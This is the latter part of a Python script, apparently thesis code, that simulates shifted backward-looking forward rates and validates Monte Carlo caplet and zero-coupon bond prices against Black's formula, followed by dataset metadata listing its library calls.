\"\"\"Generate backward-looking forward rates\"\"\"\r\n \"\"\"Important to remember!! We have a different starting date / today date. Difference is exactly tau. Hence first backward rate is over [T_1,T_2]\"\"\"\r\n BWR_original, BWRanti_original, BWR_shifted, BWRanti_shifted, IC = Generate_BWR_Log_Eul(NoOfSteps, NoOfRates, T, tau, V, L, cap_shift) # Obtain backward rates which were generated using the log_euler method\r\n\r\n # Initialize the backward rates\r\n BW_rate_original = np.zeros([NoOfRates, NoOfSteps + eul_steps]) \r\n BW_rate_anti_original = np.zeros([NoOfRates, NoOfSteps + eul_steps]) \r\n\r\n BW_rate_shifted = np.zeros([NoOfRates, NoOfSteps + eul_steps]) \r\n BW_rate_anti_shifted = np.zeros([NoOfRates, NoOfSteps + eul_steps]) \r\n\r\n # Every rate needs it's own 'x-axis'\r\n x_axis = np.zeros([NoOfRates, NoOfSteps + eul_steps])\r\n \r\n # Set values up to time T_(j-1) to the same value as forward rates\r\n \"\"\"For t <= T_j the backward rates are equal to the log-Euler rates this\r\n is the same as the generated forward rates for the LMM. So this creates the forward rates\"\"\"\r\n for i in range(NoOfRates):\r\n BW_rate_original[i, 0:i+1] = BWR_original[i, 0:i+1]\r\n BW_rate_anti_original[i, 0:i+1] = BWRanti_original[i, 0:i+1]\r\n \r\n BW_rate_shifted[i, 0:i+1] = BWR_shifted[i, 0:i+1]\r\n BW_rate_anti_shifted[i, 0:i+1] = BWRanti_shifted[i, 0:i+1]\r\n x_axis[i, 0:i+1] = np.arange(0, i+1) * tau\r\n\r\n # Euler discretization size\r\n dt = tau / eul_steps # time step\r\n BM_new, BManti_new = GenerateBM(tau, eul_steps, NoOfRates, IC) # Create new Brownian motions \r\n\r\n A_org = A = np.arange(NoOfRates).reshape((NoOfRates,1)) # A is a filter which can be put over matrices obtaining the correct rows and columns we need to change\r\n for steps in range(eul_steps): # Loop per Euler step \r\n x_axis[np.arange(A.shape[0])[:,None], (A+1)] = (x_axis[np.arange(A.shape[0])[:,None], (A)] + dt) # Next value for the x-axis\r\n Tj = x_axis[np.arange(A_org.shape[0])[:,None], (A_org)] + tau # Tj per rate\r\n t = x_axis[np.arange(A.shape[0])[:,None], (A)] # t per rate, Note!! This does differ per rate due to mixed combination of methods\r\n\r\n # Apply gamma function\r\n z1 = Tj - t\r\n z1[z1 < 0] = 0\r\n gamma_rate = z1 / (Tj - (Tj-tau))\r\n gamma_rate[gamma_rate > 1] = 1\r\n X = Xanti = 0\r\n\r\n if steps == 0: # No need for for loop since only 1 time\r\n # No need for the gamma function since it will be 1! Only the case for our chosen gamma function\r\n # No need for IC since we have just the same of j till j so i always equal to 1. \r\n Y = (tau * V[:,0] * (BW_rate_original[np.arange(A.shape[0])[:,None], (A)] + cap_shift) * gamma_rate)\r\n Z = 1 + tau * BW_rate_original[np.arange(A.shape[0])[:,None], (A)]\r\n X += Y / Z\r\n\r\n Yanti = np.diagonal(tau * V[:,0] * (BW_rate_anti_original[np.arange(A.shape[0])[:,None], (A)] + cap_shift) * gamma_rate)\r\n Zanti = 1 + tau * BW_rate_anti_original[np.arange(A.shape[0])[:,None], (A)]\r\n Xanti += Yanti / Zanti \r\n \r\n # Values that are present in the summation of the formula\r\n X = np.diagonal(X)\r\n Xanti = np.diagonal(Xanti)\r\n \r\n BW_rate_shifted[np.arange((A+1).shape[0])[:,None], (A+1)] = np.reshape(np.diagonal(BW_rate_shifted[np.arange(A.shape[0])[:,None], (A)] + V[:,0] * gamma_rate * BW_rate_shifted[np.arange(A.shape[0])[:,None], (A)] * X * dt + \\\r\n V[:,0] * BW_rate_shifted[np.arange(A.shape[0])[:,None], (A)] * gamma_rate * (BM_new[:,steps+1] - BM_new[:,steps])), (NoOfRates,1)) # Perform the Euler discretization\r\n BW_rate_original[np.arange((A+1).shape[0])[:,None], (A+1)] = BW_rate_shifted[np.arange(A.shape[0])[:,None], (A+1)] - cap_shift # Shift back the rates\r\n\r\n \r\n BW_rate_anti_shifted[np.arange((A+1).shape[0])[:,None], (A+1)] = np.reshape(np.diagonal(BW_rate_anti_shifted[np.arange(A.shape[0])[:,None], (A)] + V[:,0] * gamma_rate * BW_rate_anti_shifted[np.arange(A.shape[0])[:,None], (A)] * Xanti * dt + \\\r\n V[:,0] * BW_rate_anti_shifted[np.arange(A.shape[0])[:,None], (A)] * gamma_rate * (BManti_new[:,steps+1] - BManti_new[:,steps])), (NoOfRates,1)) # Perform the Euler discretization\r\n BW_rate_anti_original[np.arange((A+1).shape[0])[:,None], (A+1)] = BW_rate_anti_shifted[np.arange(A.shape[0])[:,None], (A+1)] - cap_shift # Shift back the rates\r\n \r\n A = A+1\r\n\r\n # Define values after the accrual period\r\n BW_rate_original[BW_rate_original == 0] = BW_rate_anti_original[BW_rate_anti_original == 0] = np.nan\r\n BW_rate_shifted[BW_rate_shifted == 0] = BW_rate_anti_shifted[BW_rate_anti_shifted == 0] = np.nan\r\n\r\n return BW_rate_original, BW_rate_anti_original, BW_rate_shifted, BW_rate_anti_shifted, x_axis \r\n\r\n# Notional = Notional of the contract\r\n# tau = Difference between tenor points\r\n# T = Reset date of the caplet\r\n# K = Strike price of the caplet\r\n# V = Instantaneous volatility matrix\r\n# L = Initional forward rates\r\n# cap_shift = Shift given by the market\r\n# DF = Discount factor for period [T0, T1]\r\n\"\"\"This is because for the log-Euler method the backward and forward rates are the same\r\nhence we do not work with the spotrate yet which is equal to the start of the first backward rates\r\nI just define a seperate shift for that. There are also other solutions.\"\"\" \r\ndef cap_price_Black(Notional, tau, T, K, V, L, cap_shift, DF): \r\n \"\"\"Calculate the price of a caplet using Black's formula\"\"\"\r\n \r\n num_of_caps = int(T/tau) # Number of caplets we want to validate\r\n cap_price = np.zeros(num_of_caps) # Save caplet prices\r\n for resetT in range(0, num_of_caps): # Apply Black's formula for every caplet \r\n helpval = (tau ** 3) / (tau ** 2) # We want the caplet price at time zero hence no maximum needed\r\n \r\n R = L[resetT] + cap_shift\r\n K_hat = K[resetT] + cap_shift\r\n vsqr = (resetT * tau + 1 / 3 * helpval) * V[resetT, 0] * V[resetT, 0] \r\n \r\n d1 = (np.log(R / K_hat) + (vsqr / 2)) / (np.sqrt(vsqr)) \r\n d2 = d1 - (np.sqrt(vsqr))\r\n \r\n # P = DF[0]\r\n P = 1 / (1 + tau * (-0.0049754))\r\n for i in range(0,resetT): \r\n # Loop to calculate the value of P(0,T_n)\r\n P = P * (1 / (1 + tau * L[i]) )\r\n \r\n cap_price[resetT] = Notional * P * tau * (R * norm.cdf(d1) - K_hat * norm.cdf(d2) )\r\n if cap_price[resetT] / Notional < 10 ** -8: # I take this as such a small value that we assume that the capprice is equal to zero\r\n cap_price[resetT] = 0\r\n\r\n\r\n return cap_price\r\n\r\n# N = Notional\r\n# tau = Difference between tenor points\r\n# resetT = Reset date of the caplet\r\n# K = Strike price of the caplet\r\n# V = Instantaneous volatility matrix of the large time step method\r\n# L = Initial forward rates\r\n# NoOfSteps = Number of steps used\r\n# NoOfRates = Number of rates that will be simulated\r\n# T = End date\r\n# M = Number of Monte Carlo simulations\r\n# eul_steps = Number of Euler discretization steps\r\n# cap_shift = SHift given by the market\r\n# DF = Discount factor for first period\r\ndef cap_price_MC(N, tau, strike, V, L, NoOfSteps, NoOfRates, T, M, eul_steps, cap_shift, DF):\r\n \"\"\"Calculate the price of a caplet using Monte Carlo simulation\"\"\" \r\n cappriceBack = np.zeros([NoOfRates,M])\r\n A = np.arange(NoOfRates).reshape((NoOfRates,1)) + eul_steps # Filter to get the correct rows and columns\r\n \r\n discount_rate = np.zeros([NoOfRates, M]) # Simulated ZCB\r\n discount_rate_anti = np.zeros([NoOfRates, M]) # Simulated ZCB\r\n\r\n K = strike + cap_shift\r\n \r\n for i in range(M):\r\n [BW_rate_original, BW_rate_anti_original, BW_rate_shifted, BW_rate_anti_shifted, x_axis] = Generate_Backward_Rates(NoOfSteps, NoOfRates, T, tau, V, L, eul_steps, cap_shift) # Obtain backward rates using a large time step\r\n # Calculate payoffs and set negative values to zero (=max operator)\r\n \r\n X = BW_rate_shifted[np.arange(A.shape[0])[:,None], (A)]\r\n Xanti = BW_rate_anti_shifted[np.arange(A.shape[0])[:,None], (A)]\r\n\r\n payoffLS = (X.reshape(X.shape[0],) - K) * N * tau \r\n payoffLS[payoffLS < 0] = 0\r\n payoffLS_anti = (Xanti.reshape(Xanti.shape[0],) - K) * N * tau\r\n payoffLS_anti[payoffLS_anti < 0] = 0\r\n \r\n for k in range(NoOfRates): # Loop to cover _valiple ZCB \r\n # Obtain the rate using Euler discretization \r\n pSim = pSimanti = (1 + tau * (-0.0049754)) \r\n for j in range(0, k):\r\n pSim = pSim * (1 + tau * BW_rate_original[j+1, j+1])\r\n pSimanti = pSimanti * (1 + tau * BW_rate_anti_original[j+1, j+1])\r\n \r\n discount_rate[k, i] = pSim \r\n discount_rate_anti[k, i] = pSimanti\r\n \r\n cappriceBack[:,i] = (np.reshape(np.divide(payoffLS , np.transpose(discount_rate[:,i])),(NoOfRates,)) + np.reshape(np.divide(payoffLS_anti , np.transpose(discount_rate_anti[:,i])),(NoOfRates,))) * 0.5\r\n \r\n # Calculate standard errors\r\n se_Back = np.sqrt(np.var(cappriceBack, axis=1, ddof=1)) / np.sqrt(M) \r\n \r\n return np.sum(cappriceBack, axis=1) / M, se_Back\r\n\r\n# tau = Difference between tenor points\r\n# L = Initial forward rates\r\n# NoOfSteps = Number of steps used\r\n# NoOfRat = Number of rates that will be simulated\r\n# T = End date\r\n# M = Number of Monte Carlo simulations\r\n# eul_steps = Number of Euler discretization steps\r\n# shift = Market shift\r\ndef zero_coupon_bond(tau, L_un, NoOfSteps, NoOfRat, T, M, eul_steps, IV, DF, shift):\r\n \"\"\"Calculate the ZCB rate analytically and using Monte Carlo simulation\"\"\"\r\n discount_rate = np.zeros([NoOfRat, M]) # Simulated ZCB\r\n analytZCB = np.zeros(NoOfRat) # Analytical ZCB \r\n\r\n analytZCB[0] = 1 / (1 + tau * (-0.0049754))\r\n for i in range(NoOfRat-1):\r\n analytZCB[i+1] = analytZCB[i] * (1 / (1 + tau * L_un[i]))\r\n \r\n # Perform Monte Carlo Simulation\r\n for i in range(M):\r\n [BW, BW_anti, BW_shift, BW_anti_shift, x_axis] = Generate_Backward_Rates(NoOfSteps, NoOfRat, T, tau, IV, L_un, eul_steps, shift) # Obtain backward rates using a large time step\r\n for k in range(NoOfRat): # Loop to cover _valiple ZCB \r\n # Obtain the rate using Euler discretization\r\n pSim = pSimanti = (1 + tau * (-0.0049754)) # First discount rate uses spotrate\r\n for j in range(0, k):\r\n pSim = pSim * (1 + tau * BW[j, j])\r\n pSimanti = pSimanti * (1 + tau * BW_anti[j, j])\r\n discount_rate[k, i] = (1 / pSim + 1 / pSimanti) * 0.5\r\n \r\n # Calculate standard errors\r\n se_Sim = np.sqrt(np.var(discount_rate, axis=1, ddof=1)) / np.sqrt(M)\r\n \r\n # [Analytical rate, Rate using Euler, Rate using large steps]\r\n return analytZCB, np.sum(discount_rate, axis=1) / M, se_Sim\r\n\r\n# NoOfSteps = Number of steps used\r\n# NoOfRates = Number of rates that will be simulated\r\n# T = End date\r\n# tau = Difference between tenor points\r\n# V = Instantaneous volatility matrix of the large time step method\r\n# L = Initial forward rates\r\n# eul_steps = Number of Euler discretization steps\r\n# cap_shift = Shift given by the market\r\ndef density_plot(NoOfSteps, NoOfRat, T, tau, V, L, eul_steps, cap_shift):\r\n \"\"\"This function makes a 3D plot of different paths for a rate and also density plots at different time intervals\"\"\"\r\n fig = plt.figure()\r\n ax = plt.axes(projection='3d')\r\n \r\n NoOfLines = 500 # Number of different paths you want to plot\r\n \r\n # One time calculation to obtain some sizes\r\n BW_rate_original, BW_rate_anti_original, BW_rate_shifted, BW_rate_anti_shifted, x_axis = Generate_Backward_Rates(NoOfSteps, NoOfRat, T, tau, V, L, eul_steps, cap_shift)\r\n \r\n # Define the y-axis and z-axis for the plotting the rates\r\n zline = np.linspace(0, 0, len(x_axis[0,:]))\r\n yline = x_axis[NoOfRat-1,:]\r\n \r\n # Define limits for the x-axis and z-axis\r\n left_lim = -0.015\r\n right_lim = 0.005\r\n ax.set_xlim(left_lim, right_lim) \r\n ax.set_zlim(0, 500)\r\n \r\n data = np.zeros([T,NoOfLines]) # Save data to make density plots\r\n \r\n for i in range(NoOfLines):\r\n # Plot different paths\r\n BW_rate_original, BW_rate_anti_original, BW_rate_shifted, BW_rate_anti_shifted, x_axis = Generate_Backward_Rates(NoOfSteps, NoOfRat, T, tau, V, L, eul_steps, cap_shift)\r\n xline = BW_rate_original[NoOfRat-1,:]\r\n \r\n if np.size(xline[xline>right_lim]) == 0 and i < 50: # Make sure lines don't cross the x limits\r\n ax.plot3D(xline, yline, zline, 'blue')\r\n \r\n # Obtain values for density plots\r\n for j in range(T):\r\n col = int((1/tau) * (j+1))\r\n if j == (T-1):\r\n col = -1\r\n data[j,i] = BW_rate_original[NoOfRat-1, col]\r\n \r\n for j in range(T):\r\n # Make density plots\r\n col = int((1/tau) * (j+1))\r\n if j == (T-1):\r\n col = -1\r\n [xdata, ydata] = get_hist_lines(data[j,:])\r\n \r\n # Distinguish positive and negative values\r\n idx_pos_1 = np.where((xdata >= 0) & (xdata < right_lim)) ; pos_x = xdata[idx_pos_1] ; pos_y = ydata[idx_pos_1] \r\n idx_neg_1 = np.where((xdata <= 0) & (xdata > left_lim)) ; neg_x = xdata[idx_neg_1] ; neg_y = ydata[idx_neg_1]\r\n \r\n xpos = x_axis[NoOfRat-1, col]\r\n \r\n ax.plot3D(pos_x,np.linspace(xpos,xpos,len(pos_x)),pos_y, 'red') \r\n ax.plot3D(neg_x,np.linspace(xpos,xpos,len(neg_x)),neg_y, color='black')\r\n \r\n ax.set_xlabel('rate')\r\n ax.set_ylabel('Time (years)')\r\n ax.set_zlabel('density')\r\n ax.set_title('R(t) paths and density plots in a negative rate environment')\r\n \r\n ax.view_init(35, -35) \r\n return\r\n\r\n# data = Histogram data\r\ndef get_hist_lines(data):\r\n \"\"\"This function gahters the correct data for the denisty plots\"\"\"\r\n plt.figure()\r\n xdata = sns.distplot(data).get_lines()[0].get_data()[0]\r\n ydata = sns.distplot(data).get_lines()[0].get_data()[1]\r\n plt.close()\r\n \r\n return xdata, ydata\r\n \r\n\r\ndef mainCalculation():\r\n \"\"\"Run the program to generate backward rates.\"\"\" \r\n tau = 0.25 # Difference between tenor points\r\n T = 5 # Time horizon\r\n eul_steps = 64 # Euler discretization steps between two tenor points \r\n \r\n NoOfSteps = int(T / tau) # Number of time-steps \r\n NoOfRat = int(T / tau) # Number of backward rates we want to generate\r\n\r\n # Obtain the correct data (Initial rates, Instantaneous volatilities)\r\n df = pd.read_excel (r'C:\\Users\\hackt\\Documents\\Thesis Rabobank\\Python\\Caplets_3Months_Test.xlsx')\r\n\r\n help1 = df.iloc[16:,:]\r\n data = help1.iloc[:,[1,2,5,7]]\r\n data.reset_index(drop=True, inplace=True)\r\n data.columns = ['Date', 'CapletForward', 'DF', 'IV']\r\n\r\n V = insVol(NoOfSteps, NoOfRat, data.IV) \r\n L = inFor(NoOfRat, data.CapletForward) / 100 # Initial rates\r\n cap_shift = 3 / 100\r\n # Obtain the forward-looking backward rates and their corresponding x-axis\r\n BW_rate_original, BW_rate_anti_original, BW_rate_shifted, BW_rate_anti_shifted, x_axis = Generate_Backward_Rates(NoOfSteps, NoOfRat, T, tau, V, L, eul_steps, cap_shift)\r\n\r\n \"Plotting the rates\"\r\n # Obtain labels and locations for the x-axis\r\n labels = np.zeros(NoOfRat+2) ; locs = np.zeros(NoOfRat+2) \r\n hv = 0\r\n for i in range(NoOfRat+1):\r\n labels[i] = hv\r\n locs[i] = i * tau\r\n hv += 0.25\r\n\r\n fig, ax = plt.subplots()\r\n for i in range(NoOfRat):\r\n ax.plot(x_axis[i,:], BW_rate_shifted[i,:])\r\n \r\n plt.title('Simulated shifted backward-looking forward rates')\r\n plt.ylabel('Rate (%)')\r\n plt.xlabel('Time (years)')\r\n plt.xticks(locs,labels, rotation='45') \r\n plt.grid()\r\n\r\n \"Validating caplet prices\"\r\n # Notional = 10000 # Notional\r\n # K = L # Strike price\r\n # M = 50000 # Number of Monte Carlo simulations\r\n\r\n # [capLS, se_LS] = cap_price_MC(Notional, tau, K, V, L, NoOfSteps, NoOfRat, T, M, eul_steps, cap_shift, data.DF) # Obtain the simulated caplet prices\r\n # capBlack = cap_price_Black(Notional, tau, T, K, V, L, cap_shift, data.DF) \r\n \r\n # # Generate nice ouput\r\n # colname = list()\r\n # for i in range(NoOfRat):\r\n # name = '{}{}'.format('Cap', '(T_{' + str(i) + '},' + 'T_{' + str(i+1) + '})')\r\n # colname.append(name)\r\n \r\n # table = zip(colname, capBlack, capLS, 100 * abs(capLS - capBlack) / capBlack, se_LS)\r\n # header = ['Analytical price', 'Simulated price', 'Error (%)', 'Standard\\n error'] \r\n \r\n # print(tabulate(table, headers = header, tablefmt=\"fancy_grid\"))\r\n \r\n \r\n # # Generate the plots\r\n # M = [500, 1000, 5000, 10000, 50000]\r\n # capLS = np.zeros([len(M), NoOfRat])\r\n # se_LS = np.zeros([len(M), NoOfRat])\r\n # rel = np.zeros([len(M), NoOfRat])\r\n \r\n # labels = [] ; locs = np.zeros(NoOfRat+1) ; locsLS = np.zeros(NoOfRat+1)\r\n # for i in range(NoOfRat):\r\n # labels.append(r'$T_{%s}$' %(i+1))\r\n # locs[i] = i * eul_steps\r\n # locsLS[i] = i\r\n\r\n # # Plot the different forward rates\r\n # plt.figure() \r\n # for i in range(len(M)):\r\n # [prices, se] = cap_price_MC(Notional, tau, K, V, L, NoOfSteps, NoOfRat, T, M[i], eul_steps, cap_shift, data.DF) # Obtain the simulated caplet prices\r\n # capLS[i, :] = prices\r\n # se_LS[i, :] = se\r\n # rel[i, :] = 100 * abs(prices - capBlack) / prices\r\n \r\n # for i in range(len(M)):\r\n # plt.plot(capLS[i, :], label='%d'%M[i])\r\n\r\n # plt.plot(capBlack, label='Blacks price')\r\n # plt.title('Simulated caplet prices')\r\n # plt.ylabel('Caplet price (bps)')\r\n # plt.xlabel('Reset time')\r\n # plt.xticks(locsLS,labels, rotation='45')\r\n # plt.legend(title='Number of simulations')\r\n # plt.grid()\r\n # plt.show()\r\n \r\n # plt.figure()\r\n # for i in range(len(M)):\r\n # plt.plot(se_LS[i, :], label='%d'%M[i])\r\n\r\n # plt.title('Standard errors')\r\n # plt.ylabel('Standard error')\r\n # plt.xlabel('Reset time')\r\n # plt.xticks(locsLS,labels, rotation='45')\r\n # plt.legend(title='Number of simulations')\r\n # plt.grid()\r\n # plt.show()\r\n \r\n # plt.figure()\r\n # for i in range(len(M)):\r\n # plt.plot(rel[i, :], label='%d'%M[i])\r\n\r\n # plt.title('Relative errors')\r\n # plt.ylabel('Relative error (%)')\r\n # plt.xlabel('Reset time')\r\n # plt.xticks(locsLS,labels, rotation='45')\r\n # plt.legend(title='Number of simulations')\r\n # plt.grid()\r\n # plt.show()\r\n \r\n \r\n # \"Validating zero-coupon bonds\"\r\n # M = 2000\r\n \r\n # [anrate, sim_rate, se_Sim] = zero_coupon_bond(tau, L, NoOfSteps, NoOfRat, T, M, eul_steps, V, data.DF, cap_shift) # Obtain the differenct calculatd zero-coupon rates\r\n \r\n \r\n # colname = list()\r\n # for i in range(NoOfRat):\r\n # name = '{}{}'.format('P', '(T_{' + str(i+1) + '})')\r\n # colname.append(name)\r\n \r\n # table = zip(colname, anrate, sim_rate, 100 * abs(sim_rate - anrate) / anrate, se_Sim)\r\n # header = ['Analytical Price', 'Simulated price', 'Error (%)', 'Standard error']\r\n \r\n # print(tabulate(table, headers = header, tablefmt=\"fancy_grid\"))\r\n \r\n # # Plot the ZCB validation\r\n # M = [500, 1000, 5000, 10000, 50000]\r\n # capLS = np.zeros([len(M), NoOfRat])\r\n # se_LS = np.zeros([len(M), NoOfRat])\r\n # rel = np.zeros([len(M), NoOfRat])\r\n \r\n # labels = [] ; locs = np.zeros(NoOfRat) ; locsLS = np.zeros(NoOfRat)\r\n # for i in range(NoOfRat):\r\n # labels.append(r'$T_{%s}$' %(i+1))\r\n # locs[i] = i * tau\r\n # locsLS[i] = i \r\n\r\n \r\n # plt.figure() \r\n # for i in range(len(M)):\r\n # [anrate, sim_rate, se_Sim] = zero_coupon_bond(tau, L, NoOfSteps, NoOfRat, T, M[i], eul_steps, V, data.DF, cap_shift) # Obtain the differenct calculatd zero-coupon rates\r\n\r\n # capLS[i, :] = sim_rate\r\n # se_LS[i, :] = se_Sim\r\n # rel[i, :] = 100 * abs(sim_rate - anrate) / sim_rate\r\n \r\n # for i in range(len(M)):\r\n # plt.plot(capLS[i, :], label='%d'%M[i])\r\n\r\n # plt.plot(anrate, label='Market price')\r\n # plt.title('Simulated ZCB prices')\r\n # plt.ylabel('ZCB value')\r\n # plt.xlabel('Maturity time')\r\n # plt.xticks(locsLS,labels, rotation='45')\r\n # plt.legend(title='Number of simulations')\r\n # plt.grid()\r\n # plt.show()\r\n \r\n # plt.figure()\r\n # for i in range(len(M)):\r\n # plt.plot(se_LS[i, :], label='%d'%M[i])\r\n\r\n # plt.title('Standard errors')\r\n # plt.ylabel('Standard error')\r\n # plt.xlabel('Maturity time')\r\n # plt.xticks(locsLS,labels, rotation='45')\r\n # plt.legend(title='Number of simulations')\r\n # plt.grid()\r\n # plt.show()\r\n \r\n # plt.figure()\r\n # for i in range(len(M)):\r\n # plt.plot(rel[i, :], label='%d'%M[i])\r\n\r\n # plt.title('Relative errors')\r\n # plt.ylabel('Relative error (%)')\r\n # plt.xlabel('Maturity time')\r\n # plt.xticks(locsLS,labels, rotation='45')\r\n # plt.legend(title='Number of simulations')\r\n # plt.grid()\r\n # plt.show()\r\n \r\n \r\n # \"Make density plot\"\r\n # density_plot(NoOfSteps, NoOfRat, T, tau, V, L, eul_steps, cap_shift)\r\n \r\n# Time the program \r\nstart = timeit.default_timer() \r\nprint('Starting the function') \r\nmainCalculation()\r\nstop = timeit.default_timer() \r\nprint('Time: ', stop - start, '\\n')", "sub_path": "Final_FMM_MarketData.py", "file_name": "Final_FMM_MarketData.py", "file_ext": "py", "file_size_in_byte": 34651, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "numpy.random.seed", "line_number": 15, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 15, "usage_type": "attribute"}, {"api_name": "numpy.random.normal", "line_number": 25, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 25, "usage_type": "attribute"}, {"api_name": "numpy.zeros", "line_number": 27, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 28, "usage_type": "call"}, {"api_name": "numpy.linalg.cholesky", "line_number": 31, "usage_type": "call"}, {"api_name": "numpy.linalg", "line_number": 31, "usage_type": "attribute"}, {"api_name": "numpy.power", "line_number": 38, "usage_type": "call"}, {"api_name": "numpy.power", "line_number": 39, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 48, "usage_type": "call"}, {"api_name": "numpy.nan", "line_number": 57, "usage_type": "attribute"}, {"api_name": "numpy.ones", "line_number": 65, "usage_type": "call"}, {"api_name": "numpy.fill_diagonal", "line_number": 68, "usage_type": "call"}, {"api_name": "numpy.ones", "line_number": 68, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 108, "usage_type": "call"}, {"api_name": "numpy.transpose", "line_number": 109, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 110, "usage_type": "call"}, {"api_name": "numpy.transpose", "line_number": 111, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 113, "usage_type": "call"}, {"api_name": "numpy.transpose", "line_number": 114, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 115, "usage_type": "call"}, {"api_name": "numpy.transpose", "line_number": 116, "usage_type": "call"}, {"api_name": "numpy.outer", "line_number": 119, "usage_type": "call"}, {"api_name": "numpy.outer", "line_number": 120, "usage_type": "call"}, {"api_name": "numpy.diagonal", "line_number": 121, "usage_type": "call"}, {"api_name": "numpy.tril", "line_number": 131, "usage_type": "call"}, {"api_name": "numpy.tril", "line_number": 132, "usage_type": "call"}, {"api_name": "numpy.nansum", "line_number": 134, "usage_type": "call"}, {"api_name": "numpy.nansum", "line_number": 135, "usage_type": "call"}, {"api_name": "numpy.exp", "line_number": 138, "usage_type": "call"}, {"api_name": "numpy.exp", "line_number": 140, "usage_type": "call"}, {"api_name": "numpy.tril", "line_number": 152, "usage_type": "call"}, {"api_name": "numpy.tril", "line_number": 153, "usage_type": "call"}, {"api_name": "numpy.nansum", "line_number": 155, "usage_type": "call"}, {"api_name": "numpy.nansum", "line_number": 156, "usage_type": "call"}, {"api_name": "numpy.exp", "line_number": 159, "usage_type": "call"}, {"api_name": "numpy.exp", "line_number": 161, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 180, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 181, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 183, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 184, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 187, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 198, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 204, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 206, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 207, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 208, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 220, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 221, "usage_type": "call"}, {"api_name": "numpy.diagonal", "line_number": 224, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 224, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 225, "usage_type": "call"}, {"api_name": "numpy.diagonal", "line_number": 229, "usage_type": "call"}, {"api_name": "numpy.diagonal", "line_number": 230, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 232, "usage_type": "call"}, {"api_name": "numpy.reshape", "line_number": 232, "usage_type": "call"}, {"api_name": "numpy.diagonal", "line_number": 232, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 233, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 234, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 237, "usage_type": "call"}, {"api_name": "numpy.reshape", "line_number": 237, "usage_type": "call"}, {"api_name": "numpy.diagonal", "line_number": 237, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 238, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 239, "usage_type": "call"}, {"api_name": "numpy.nan", "line_number": 244, "usage_type": "attribute"}, {"api_name": "numpy.nan", "line_number": 245, "usage_type": "attribute"}, {"api_name": "numpy.zeros", "line_number": 264, "usage_type": "call"}, {"api_name": "numpy.log", "line_number": 272, "usage_type": "call"}, {"api_name": "numpy.sqrt", "line_number": 272, "usage_type": "call"}, {"api_name": "numpy.sqrt", "line_number": 273, "usage_type": "call"}, {"api_name": "scipy.stats.norm.cdf", "line_number": 281, "usage_type": "call"}, {"api_name": "scipy.stats.norm", "line_number": 281, "usage_type": "name"}, {"api_name": "numpy.zeros", "line_number": 303, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 304, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 306, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 307, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 315, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 316, "usage_type": "call"}, {"api_name": "numpy.reshape", "line_number": 333, "usage_type": "call"}, {"api_name": "numpy.divide", "line_number": 333, "usage_type": "call"}, {"api_name": "numpy.transpose", "line_number": 333, "usage_type": "call"}, {"api_name": "numpy.sqrt", "line_number": 336, "usage_type": "call"}, {"api_name": "numpy.var", "line_number": 336, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 338, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 350, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 351, "usage_type": "call"}, {"api_name": "numpy.sqrt", "line_number": 369, "usage_type": "call"}, {"api_name": "numpy.var", "line_number": 369, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 372, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 384, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 384, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.axes", "line_number": 385, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 385, "usage_type": "name"}, {"api_name": "numpy.linspace", "line_number": 393, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 402, "usage_type": "call"}, {"api_name": "numpy.size", "line_number": 409, "usage_type": "call"}, {"api_name": "numpy.where", "line_number": 427, "usage_type": "call"}, {"api_name": "numpy.where", "line_number": 428, "usage_type": "call"}, {"api_name": "numpy.linspace", "line_number": 432, "usage_type": "call"}, {"api_name": "numpy.linspace", "line_number": 433, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 446, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 446, "usage_type": "name"}, {"api_name": "seaborn.distplot", "line_number": 447, "usage_type": "call"}, {"api_name": "seaborn.distplot", "line_number": 448, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.close", "line_number": 449, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 449, "usage_type": "name"}, {"api_name": "pandas.read_excel", "line_number": 464, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 479, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.subplots", "line_number": 486, "usage_type": 